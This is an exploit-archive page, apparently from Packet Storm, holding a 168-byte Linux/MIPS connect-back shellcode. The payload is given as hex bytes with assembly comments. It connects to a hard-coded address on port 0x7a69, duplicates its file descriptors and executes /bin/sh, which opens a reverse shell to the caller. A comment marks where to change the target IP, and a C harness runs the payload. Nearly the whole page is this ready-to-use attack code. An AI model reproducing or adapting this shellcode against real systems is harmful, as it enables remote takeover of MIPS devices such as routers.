exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/MIPS Connect Back Shellcode

Linux/MIPS Connect Back Shellcode
Posted Dec 10, 2011
Authored by rigan

168 bytes small Linux/MIPS connect back shellcode (port 0x7a69).

tags | shellcode
systems | linux
SHA-256 | 7b43e0e64b03373c5dc3efce8c1971e7c95efb2bdaa8e86727fdd6efb2eeef69

Linux/MIPS Connect Back Shellcode

Change Mirror Download
/*
* Title: Linux/MIPS - connect back shellcode (port 0x7a69) - 168 bytes.
* Author: rigan - imrigan [sobachka] gmail.com
*/

#include <stdio.h>

char sc[] =
"\x24\x0f\xff\xfd" // li t7,-3
"\x01\xe0\x20\x27" // nor a0,t7,zero
"\x01\xe0\x28\x27" // nor a1,t7,zero
"\x28\x06\xff\xff" // slti a2,zero,-1
"\x24\x02\x10\x57" // li v0,4183 ( sys_socket )
"\x01\x01\x01\x0c" // syscall 0x40404

"\xaf\xa2\xff\xff" // sw v0,-1(sp)
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
"\x24\x0f\xff\xfd" // li t7,-3 ( sa_family = AF_INET )
"\x01\xe0\x78\x27" // nor t7,t7,zero
"\xaf\xaf\xff\xe0" // sw t7,-32(sp)
"\x3c\x0e\x7a\x69" // lui t6,0x7a69 ( sin_port = 0x7a69 )
"\x35\xce\x7a\x69" // ori t6,t6,0x7a69
"\xaf\xae\xff\xe4" // sw t6,-28(sp)

/* ==================== You can change ip here ;) ====================== */
"\x3c\x0d\xc0\xa8" // lui t5,0xc0a8 ( sin_addr = 0xc0a8 ...
"\x35\xad\x01\x64" // ori t5,t5,0x164 ...0164 )
/* ====================================================================== */

"\xaf\xad\xff\xe6" // sw t5,-26(sp)
"\x23\xa5\xff\xe2" // addi a1,sp,-30
"\x24\x0c\xff\xef" // li t4,-17 ( addrlen = 16 )
"\x01\x80\x30\x27" // nor a2,t4,zero
"\x24\x02\x10\x4a" // li v0,4170 ( sys_connect )
"\x01\x01\x01\x0c" // syscall 0x40404

"\x24\x0f\xff\xfd" // li t7,-3
"\x01\xe0\x28\x27" // nor a1,t7,zero
"\x8f\xa4\xff\xff" // lw a0,-1(sp)
//dup2_loop:
"\x24\x02\x0f\xdf" // li v0,4063 ( sys_dup2 )
"\x01\x01\x01\x0c" // syscall 0x40404
"\x20\xa5\xff\xff" // addi a1,a1,-1
"\x24\x01\xff\xff" // li at,-1
"\x14\xa1\xff\xfb" // bne a1,at, dup2_loop

"\x28\x06\xff\xff" // slti a2,zero,-1
"\x3c\x0f\x2f\x2f" // lui t7,0x2f2f
"\x35\xef\x62\x69" // ori t7,t7,0x6269
"\xaf\xaf\xff\xf4" // sw t7,-12(sp)
"\x3c\x0e\x6e\x2f" // lui t6,0x6e2f
"\x35\xce\x73\x68" // ori t6,t6,0x7368
"\xaf\xae\xff\xf8" // sw t6,-8(sp)
"\xaf\xa0\xff\xfc" // sw zero,-4(sp)
"\x27\xa4\xff\xf4" // addiu a0,sp,-12
"\x28\x05\xff\xff" // slti a1,zero,-1
"\x24\x02\x0f\xab" // li v0,4011 ( sys_execve )
"\x01\x01\x01\x0c"; // syscall 0x40404

void main(void)
{

void(*s)(void);
printf("size: %d\n", sizeof(sc));
s = sc;
s();
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close